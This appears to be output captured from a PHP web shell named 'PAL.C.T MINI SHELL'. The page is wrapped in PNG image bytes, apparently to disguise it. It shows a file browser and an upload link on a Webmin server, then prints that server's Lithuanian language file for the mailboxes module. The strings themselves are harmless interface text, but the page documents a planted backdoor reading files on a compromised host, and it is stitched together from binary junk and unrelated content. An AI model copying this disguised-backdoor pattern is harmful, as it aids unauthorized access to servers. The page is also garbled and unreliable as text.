php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/lt.auto

index_title=Perskaitykite vartotojo paštą
index_none=Negalite skaityti el. Laiškų jokiems šios sistemos vartotojams.
index_header=Vartotojo pašto dėžutės
index_empty=Nėra pašto
index_return=vartotojų sąrašas
index_esystem=Jūsų sistemoje neaptikta nė vieno palaikomo pašto serverio („Exim“, „Qmail“, „Postfix“ ir „Sendmail“). Norėdami nustatyti pašto serverį ir galbūt pašto kelius rankiniu būdu, turėsite pakoreguoti <a href='$1'>modulio konfigūraciją</a>.
index_esystem2=Pašto sistemoje, nustatytoje <a href='$1'>modulio konfigūracijoje</a>, jūsų sistemoje nerasta. Norėdami naudoti teisingą serverį, turėsite pakoreguoti konfigūraciją.
index_esystem3=Įvyko klaida susisiekiant su pašto sistema, nustatyta <a href='$1'>modulio konfigūracijoje</a>: $2.
index_system6=Pašto serveris: Exim
index_system5=Pašto serveris: „Qmail“+„VPopMail“
index_system4=Pašto serveris: „Qmail“+LDAP
index_system2=Pašto serveris: „Qmail“
index_system1=Pašto serveris: „Sendmail“
index_system0=Pašto serveris: „Postfix“
index_toomany=Jūsų sistemoje yra per daug vartotojų, kad jie būtų rodomi viename puslapyje.
index_find=Raskite vartotojus, kur vartotojo vardas
index_equals=lygus
index_contains=yra
index_eperl=„Perl“ modulis $1, reikalingas pasirinktam SMTP autentifikavimo režimui, neįdiegtas arba jo trūksta. <a href='$2'>Norėdami įdiegti dabar, spustelėkite čia</a>.
index_file=Skaityti paštą faile arba Maildirą:
index_nousers=Nerasta jokių vartotojų!
index_nousersmail=Nerasta nė vieno vartotojo, turinčio el. Pašto adresą.

mail_title=Vartotojo el. Paštas
mail_from=Iš
mail_date=Data
mail_subject=Tema
mail_to=Kam
mail_cc=Kopija
mail_bcc=Neišsaugota kopija
mail_pri=Prioritetas
mail_highest=Aukščiausias
mail_high=Aukštas
mail_normal=Normalus
mail_low=Žemas
mail_lowest=Žemiausia
mail_for=$1
mail_for2=Vartotojui $1
mail_sent=Išsiųstų laiškų sąraše
mail_size=Dydis
mail_level=Rezultatas
mail_delete=Ištrinti
mail_compose=Sudarykite
mail_open=Atviras
mail_return=vartotojo pašto dėžutė
mail_pos=Žinutės nuo $1 iki $2 iš $3 $4
mail_none=Šis vartotojas neturi pranešimų, esančių $1
mail_ecannot=Jums neleidžiama skaityti šio vartotojo el. Pašto
mail_all=Pasirinkti viską.
mail_invert=Apverskite pasirinkimą.
mail_nosort=Iš naujo nustatyti rūšiavimą.
mail_search=Raskite pranešimus kur
mail_body=kūnas
mail_match=degtukai
mail_ok=Paieška
mail_nonefrom=Nė vienas
mail_mark=Pažymėti kaip:
mail_mark0=Neskaityta
mail_mark1=Skaitykite
mail_mark2=Ypatinga
mail_forward=Persiųsti
mail_move=Pereiti prie:
mail_copy=Nukopijuoti:
mail_rfc=Iš eilutės
mail_eexists=Pranešimo nebeegzistuoja!
mail_fchange=Keisti
mail_indexlink=Grįžti į pašto dėžutę
mail_deleteall=Ištrinti viską
mail_black=Neigti siuntėjų
mail_white=Leisti siuntėjams
mail_whitemove=Leisti siuntėjams ir gautiesiems
mail_efile=Pašto failo nėra
mail_fromsrch=Raskite el. Laišką su tuo pačiu siuntėju
mail_subsrch=Raskite el. Laišką ta pačia tema
mail_tosrch=Raskite el. Laišką su gavėju
mail_fromfilter=Sukurkite filtrą pagal siuntėją
mail_tofilter=Sukurkite filtrą pagal gavėją
mail_subfilter=Sukurkite filtrą pagal temą
mail_unknown=Nežinoma

mail_sign=Pasirašykite raktu
mail_nosign=&lt;Neparašyti&gt;
mail_crypt=Šifruoti
mail_nocrypt=&lt;Nešifruoti&gt;
mail_samecrypt=&lt;Raktai iš paskirties adresų&gt;
mail_addresses=Tvarkyti adresų knygą
mail_folders=Tvarkyti aplankus
mail_err=Pateikiant aplanką šiame aplanke įvyko klaida : $1
mail_loginheader=POP3 serverio prisijungimas
mail_loginheader2=IMAP serverio prisijungimas
mail_logindesc=Norėdami patekti į pašto adresą <br>, turite įvesti pašto serverio $1 pašto dėžutę.
mail_loginuser=Vartotojo vardas
mail_loginpass=Slaptažodis
mail_loginmailbox=IMAP pašto dėžutė
mail_login=Prisijungti
mail_reset=Aišku
mail_logout=Pakeisti prisijungimą prie POP3
mail_logout2=Keisti IMAP prisijungimą
mail_sig=Redaguoti parašą
mail_jump=Peršokti į puslapį :
mail_of=apie
mail_replyto=Atsakinėti į
mail_folder=Aplankas
mail_delall=Ištrinti viską
mail_deltrash=Tuščia Šiukšlinė
mail_search2=Ieškoti:
mail_search3=Rasti su balais aukščiau:
mail_advanced=Išplėstinė paieška
mail_return2=Vartotojo el. Paštas
mail_esystem=Įvyko klaida susisiekiant su pašto sistema: $1. Tai turi ištaisyti sistemos administratorius.
mail_selread=Pasirinkite perskaitytą.
mail_selunread=Pasirinkite neskaitytą.
mail_selspecial=Pasirinkite specialųjį.
mail_specialsync=„Sync Special“

view_title=Skaityti el. Laišką
view_desc=Žinutė $1 $2
view_desc2=Žinutė $1 vartotojui $2
view_desc3=Žinutė $1
view_sent=Laiškas $1 išsiųstų laiškų sąraše
view_qdesc=Eilė eilėje $1
view_headers=Pašto antraštės
view_body=Pranešimo turinys
view_nobody=Šiame pranešime nėra kūno turinio.
view_allheaders=Peržiūrėkite visas antraštes
view_noheaders=Peržiūrėkite pagrindines antraštes
view_attach=Priedai
view_afile=Priedo pavadinimas
view_atype=Priedo tipas
view_aactions=Veiksmai
view_aview=Vaizdas
view_aopen=Atviras
view_asave=Sutaupyti
view_aplain=Neapdorotas
view_anofile=Nėra failo vardo
view_asize=Failo dydis
view_reply=Atsakyk
view_reply2=Atsakyti visiems
view_enew=Redaguoti kaip naują
view_forward=Persiųsti
view_delete=Ištrinti
view_print=Spausdinti
view_strip=Pašalinti priedus
view_ecannot=Jums neleidžiama skaityti šio vartotojo el. Pašto
view_mark=Pažymėti kaip:
view_mark0=Neskaityta
view_mark1=Skaitykite
view_mark2=Ypatinga
view_markas0=Neskaityta
view_markas1=Skaitykite
view_markas2=Ypatinga
view_return=originalus el
view_sub=Pridedamas el. Paštas
view_sub2=Pridėtas el. Laiškas iš $1
view_egone=Ši žinutė nebeegzistuoja
view_eugone=Šio vartotojo nėra

view_gnupg=„GnuPG“ parašo tikrinimas
view_gnupg_0=Galioja $1 parašas.
view_gnupg_1=$1 parašas galioja, tačiau pasitikėjimo grandinės nustatyti nepavyko.
view_gnupg_2=$1 parašas <b>NE</b> galioja.
view_gnupg_3=Rakto ID $1 nėra jūsų sąraše, todėl nepavyko patvirtinti parašo.
view_gnupg_4=Nepavyko patvirtinti parašo : $1
view_crypt=„GnuPG“ pašto iššifravimas
view_crypt_1=Žinutė yra šifruota, tačiau „GnuPG“ palaikymas neįdiegtas.
view_crypt_2=Nepavyko iššifruoti pranešimo : $1
view_crypt_3=Paštas buvo sėkmingai iššifruotas.
view_crypt_4=Užšifruota pranešimo dalis buvo sėkmingai iššifruota.
view_recv=<a href='$2'>Gauti rakto ID $1 iš raktų serverio</a>.
view_folder=Grįžti į pašto dėžutę
view_dheader=Nuimkite priedą prie serverio
view_detach=Atskirkite failą:
view_dall=&lt;Visi failai&gt;
view_dir=į serverio failą arba katalogą:
view_black=Paneigti siuntėją
view_white=Leisti siuntėjui
view_whitemove=Leisti siuntėjui ir gautiesiems
view_razor=Pranešti apie šlamštą
view_ham=Pranešti apie kumpį
view_hammove=Pranešti apie kumpį ir gautuosius
view_razordel=Ištrinti šlamštą
view_dstatus=Nepavyko pristatyti būseną
view_dstatusok=Sėkmingas pristatymo statusas
view_final-recipient=Galutinis gavėjas
view_diagnostic-code=Nesėkmės priežastis
view_remote-mta=Nuotolinis pašto serveris
view_reporting-mta=Ataskaitų pašto serveris
view_astext=Žiūrėti kaip tekstą
view_ashtml=Žiūrėti kaip HTML
view_images=Rodyti vaizdus
view_raw=Peržiūrėti neapdorotą pranešimą
view_aall=Išsaugokite visus priedus kaip ZIP.
view_aslideshow=Rodyti visus vaizdus.

compose_title=Sukurti el. Laišką

reply_title=Atsakyti el. Paštu
forward_title=Persiųsti el. Laišką
enew_title=Redaguoti el. Paštą
reply_headers=Pašto antraštės
reply_attach=Persiųsti priedai
reply_mailforward=Persiuntė pranešimus
reply_attach2=Kliento ir serverio pusės priedai
reply_attach3=Įkelti priedai
reply_send=Išsiųsti laišką
reply_ecannot=Jums neleidžiama siųsti laiškų kaip šiam vartotojui
reply_body=Pranešimo tekstas
reply_errc=Nepavyko nukopijuoti laiškų
reply_errm=Nepavyko perkelti pašto
reply_return=komponuoti paštą
reply_efwdnone=Nė vieno persiųsto pranešimo nėra
reply_dsn=Prašyti perskaityti būsenos pranešimą?
reply_del=Prašyti pranešimo apie pristatymo būseną?
reply_aboot=Pridėti adresatus adresų knygoje?
reply_tabfrom=Iš
reply_tabto=Kam
reply_tabreplyto=Atsakinėti į
reply_tabcc=Kopija
reply_tabbcc=Neišsaugota kopija
reply_tabsigning=Pasirašymas
reply_taboptions=Galimybės
reply_addattach=Pridėti priedo lauką.
reply_addssattach=Pridėti serverio pusės priedo lauką.
reply_html0=Sukurkite tekstą
reply_html1=Kurti HTML

reply_spell=Patikrinti rašybos klaidas?
reply_draft=Išsaugoti kaip juodraštį
reply_save=Išsaugoti ir redaguoti

send_err=Nepavyko išsiųsti laiškų
send_eto=Nėra adreso
send_efrom=Nėra adreso
send_esubject=Trūksta el. Pašto temos
send_title=Paštas išsiųstas
send_title2=Paštas išsaugotas
send_ok=Laiškas sėkmingai išsiųstas $1
send_sending=Laiškų siuntimas į $1 ..
send_ecannot=Jums neleidžiama siųsti laiškų kaip šiam vartotojui
send_esmtp=SMTP komanda $1 nepavyko : $2
send_eattach=Priedai negali viršyti $1 kB.
send_eperms=Vartotojas $1 negali skaityti $2
send_eperms2=Jums neleidžiama siųsti failo $1
send_epath=„Sendmail“ vykdomojo failo $1 nėra.
send_efile=Nepavyko nuskaityti priedo $1 : $2 
send_done=.. padaryta.

send_epass=Negalite pasirašyti pranešimo, nes jūsų slaptafrazė dar nėra nustatyta „GnuPG“ modulyje.
send_esign=Nepavyko pasirašyti pranešimo : $1
send_ekey=Nepavyko rasti rakto el. Pašto adresui $1
send_ecrypt=Nepavyko užšifruoti pranešimo : $1
send_eword=Neteisingai parašytas žodis $1
send_eword2=Neteisingai parašytas žodis $1 - galimi taisymai $2
send_eline=$1 eilutėje :
send_espell=Jūsų pranešime buvo rastos šios rašybos klaidos ..
send_draft=Laiškas į $1 išsaugotas juodraščių aplanke.
send_drafting=Laiškų įrašymas į $1 juodraščių aplanke ..
send_eattachsize=Pašto priedas viršijo maksimalų leidžiamą $1 baitų dydį

delete_title=Ištrinti paštą
delete_rusure=Ar tikrai norite ištrinti $1 pasirinktus pranešimus iš $2? Didelio pašto failo sukūrimas gali šiek tiek užtrukti. Kol naikinimas nebus baigtas, jokie kiti veiksmai neturėtų būti atliekami.
delete_rusure2=Ar tikrai norite ištrinti šį pranešimą iš $1? Didelio pašto failo sukūrimas gali šiek tiek užtrukti. Kol naikinimas nebus baigtas, jokie kiti veiksmai neturėtų būti atliekami.
delete_ok=Ištrinti dabar
delete_ecannot=Dabar jums leidžiama ištrinti šio vartotojo laiškus
delete_enone=Pašalinti nėra pasirinkto pašto
delete_emnone=Nepažymėtas paštas
delete_efnone=Nepasirinktas joks paštas
delete_ebnone=Nepasirinktas joks paštas
delete_ewnone=Nepasirinktas joks paštas
delete_ernone=Nėra pasirinktas paštas, apie kurį pranešama kaip apie šlamštą
delete_ehnone=Nėra pasirinktas paštas, apie kurį pranešama kaip apie kumpį
delete_emoveuser=Vartotojas, į kurį reikia perkelti paštą, neegzistuoja
delete_ecopyuser=Vartotojas, į kurį reikia kopijuoti paštą, neegzistuoja
delete_emovecannot=Jums neleidžiama perkelti laiškų nurodytam vartotojui
delete_ecopycannot=Jums neleidžiama kopijuoti laiškų nurodytam vartotojui
delete_emovenone=Nepasirinktas joks paštas
delete_ecopynone=Nepasirinktas joks paštas
delete_nobutton=Nepaspaudė nė vieno mygtuko
delete_ereport=Nepavyko pranešti apie šlamštą : $1
delete_errc=Nepavyko nukopijuoti laiškų
delete_errm=Nepavyko perkelti pašto

confirm_title=Patvirtinkite ištrynimą
confirm_warn=Ar tikrai norite ištrinti $1 pasirinktus pranešimus iš šio aplanko?
confirm_warnf=Ar tikrai norite ištrinti $1 pasirinktus pranešimus iš aplanko <b>$2</b>?
confirm_warn2=Dėl jūsų pašto dėžutės dydžio ir formos tai gali užtrukti. Kol naikinimas nebus baigtas, jokie kiti veiksmai neturėtų būti atliekami.
confirm_warn3=Ar tikrai norite ištrinti šį pranešimą?
confirm_warn4=Kol naikinimas nebus baigtas, jokie kiti veiksmai neturėtų būti atliekami.
confirm_ok=Ištrinti dabar
confirm_warnall=Ar tikrai norite ištrinti visus šio aplanko pranešimus?
confirm_warnallf=Ar tikrai norite ištrinti visus pranešimus, esančius aplanke <b>$1</b>?

search_title=Paieškos rezultatai
search_ecannot=Jums neleidžiama ieškoti šio vartotojo el. Pašto
search_ematch=Turite įvesti tekstą, kad atitiktumėte.
search_escore=Trūksta arba netinkamas šlamšto balas
search_efield=Turite pasirinkti paieškos tipą.
search_ewhat=Neįvestas tekstas, įrašytas eilutėje $1
search_enone=Neįvestas paieškos kriterijus
search_none=Nerasta jokių pranešimų.
search_results2=$1 pašto žinutės, atitinkančios $2
search_results3=$1 pašto pranešimai, neatitinkantys $2
search_results4=$1 el. Pašto žinutės, atitinkančios jūsų paiešką
search_results5=$1 pašto žinutės, kur $2 sutampa su $3
search_msg2=Paieškos rezultatai $1
search_msg4=Paieškos rezultatai
search_msg5=Paieškos rezultatai dėl šlamšto su balais $1
search_msg6=Paieškos rezultatai $2
search_local=Vietiniuose aplankuose
search_all=Visuose aplankuose
search_limit=(iš paskutinių $1 pranešimų)
search_status=Su statusu
search_attach=Privalote turėti priedus?
search_allstatus=Bet kokia
search_onestatus=Tik statusas
search_latest=Žinutės, kurių reikia ieškoti
search_nolatest=Viskas aplanke
search_latestnum=Tik naujausias
search_elatest=Trūksta arba netinkamas ieškomų pranešimų skaičius
search_withstatus=, su būsena $1

folder_inbox=Pašto dėžutę
folder_sent=Išsiųsti laiškai
folder_drafts=Juodraščiai
folder_trash=Šiukšlių dėžė

detach_err=Nepavyko atskirti failo
detach_edir=Nėra failo ar katalogo, kurį būtų galima išsaugoti įvestame
detach_eopen=Nepavyko atidaryti $1 : $2 
detach_ewrite=Nepavyko parašyti į $1 : $2 
detach_title=Nuimkite failą
detach_ok=Parašė priedą prie serverio failo $1 ($2).

sform_title=Išplėstinė paieška
sform_header=Išplėstinės el. Pašto paieškos parinktys
sform_andmode=Kriterijų režimas
sform_and=Rasti pranešimus, atitinkančius visus žemiau pateiktus kriterijus.
sform_or=Rasti pranešimus atitinka bet kuriuos žemiau pateiktus kriterijus ..
sform_neg0=yra
sform_neg1=nėra
sform_ok=Ieškokite dabar
sform_folder2=Paieška aplanke (-uose)
sform_all=&lt;Visi aplankai&gt;
sform_local=&lt;Vietiniai aplankai&gt;
sform_where=Kur
sform_text=tekstas
sform_from=Iš: antraštė
sform_subject=Tema: antraštė
sform_to=Kam: antraštė
sform_cc=Kopija: antraštė
sform_bcc=Nematoma kopija: antraštė
sform_date=Data: antraštė
sform_body=pranešimo turinys
sform_headers=bet kokia antraštė
sform_allmsg=visa žinutė
sform_size=pranešimo dydis
sform_return=išplėstinės paieškos forma

find_enone=Nerasta jūsų paiešką atitinkančių vartotojų
find_title=Paieškos rezultatai
find_results=Vartotojai atitinkantys paiešką $1 ..
find_user=Vartotojo vardas
find_real=Tikras vardas
find_group=Grupė
find_home=Pagrindinis katalogas
find_size=Pašto dydis
find_incount=Laiškus
find_sentcount=Išsiųsta
find_fcount=Aplankai
find_in=$1 in $2

acl_none=Nė vienas
acl_same=Vartotojas tuo pačiu vardu
acl_all=Visi
acl_read=Vartotojai, kurių laiškus galima perskaityti
acl_users=Tik vartotojai
acl_userse=Visi, išskyrus vartotojus
acl_usersg=Grupių nariai
acl_from=Leidžiama iš adresų
acl_any=Bet koks adresas
acl_fdoms=Pašto dėžutės @ domenai
acl_faddrs=Nurodyti adresai
acl_fdom=Bet koks adresas @ domenas
acl_fromname=Tikrasis vardas Nuo adreso
acl_apath=Apribokite failus ir programą iki katalogo
acl_attach=Maksimalus bendras priedų dydis
acl_unlimited=Neribota
acl_sent=Laikykite išsiųstus laiškus pašto dėžutėje
acl_canattach=Ar galima pridėti serverio pusės failus?
acl_candetach=Ar galima atsieti failus į serverį?
acl_usersm=Vartotojų atitikimas
acl_asame=Tas pats, kas vartotojo vardas
acl_usersu=Su UID diapazone
acl_sec=Įtraukite antrines grupes?
acl_dir=Gali skaityti pašto failus kataloge
acl_dirauto=Nuspręskite automatiškai (visur, kur visi vartotojai matomi, niekur kitaip)

log_delmail=Ištrintos $1 žinutės iš $2
log_movemail=$1 žinutės perkeltos iš $2 į $3
log_copymail=Nukopijuotos $1 žinutės iš $2 į $3
log_send=Išsiųstas laiškas $1
log_read=Skaityti $1 paštą

emodified=Šis aplankas buvo modifikuotas, nes jis paskutinį kartą buvo peržiūrėtas! Grįžkite į <a href='$1'>pašto sąrašą</a> ir bandykite dar kartą.

razor_title=Pranešimas kaip šlamštas
razor_title2=Pranešimas kaip kumpis
razor_report=Pranešimas apie šį pranešimą „Razor“ ir kitoms „SpamAssassin“ šlamšto blokavimo duomenų bazėms.
razor_report2=Pranešimas apie pasirinktus pranešimus „Razor“ ir kitoms „SpamAssassin“ šlamšto blokavimo duomenų bazėms.
razor_report3=Anuliuoti pasirinktus pranešimus „Razor“ ir kitoms „SpamAssassin“ šlamšto blokavimo duomenų bazėms.
razor_done=.. padaryta
razor_err=.. nepavyko! Norėdami sužinoti priežastį, skaitykite aukščiau pateiktą klaidos pranešimą.
razor_moved=.. padaryta ir perkelta į aplanką $1.
razor_deleted=.. padaryta, taip pat ištrinta žinutė.

ham_title=Pranešimas kaip kumpis
ham_report=Pranešimas apie šį pranešimą kaip šlamštą „Razor“ ir kitoms „SpamAssassin“ duomenų bazėms.

black_title=Siuntėjo neigimas
black_done=Į „SpamAssassin“ atmestų adresų sąrašą įtrauktas el. Pašto adresas $1.
black_already=El. Pašto adresas $1 jau yra „SpamAssassin“ atmestų adresų sąraše.

white_title=Leidžia siuntėjui
white_done=Pašto adresą $1 pridėjo prie „SpamAssassin“ leidžiamų adresų sąrašo.
white_already=El. Pašto adresas $1 jau yra „SpamAssassin“ leidžiamų adresų sąraše.

ldap_emod=Trūksta „Perl“ modulio $1, reikalingo prisijungimui prie LDAP
ldap_econn=Nepavyko prisijungti prie LDAP serverio $1 prievado $2
ldap_elogin=Nepavyko prisijungti prie LDAP serverio $1 kaip $2 : $3 
ldap_ehost=Modulio konfigūracijoje nenustatytas nė vienas LDAP serveris
ldap_eport=Modulio konfigūracijoje nenustatytas tinkamas LDAP serverio prievadas
ldap_euser=Modulio konfigūracijoje nenustatytas LDAP prisijungimas
ldap_ebase=Modulio konfigūracijoje nenustatyta LDAP bazinė DN

delall_title=Ištrinti visus laiškus
delall_rusure=Ar tikrai norite ištrinti visus el. Laiškus iš $1? $2 žinutės, kurių bendra suma yra $3, bus ištrintos visam laikui.
delall_ok=Ištrinti dabar

slide_title=Pridedami vaizdai
slide_prev=Ankstesnis
slide_next=Kitas

left_mail=Paštas
left_search=Paieška:
left_folders=Tvarkyti aplankus
left_addresses=Adresų knyga
left_prefs=Pašto nuostatos
left_forward=Persiųsti el. Laišką
left_autoreply=Automatinis atsakymas
left_filter=El. Pašto filtrai
left_pass=Pakeisti slaptažodį
left_sig=Redaguoti parašą
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`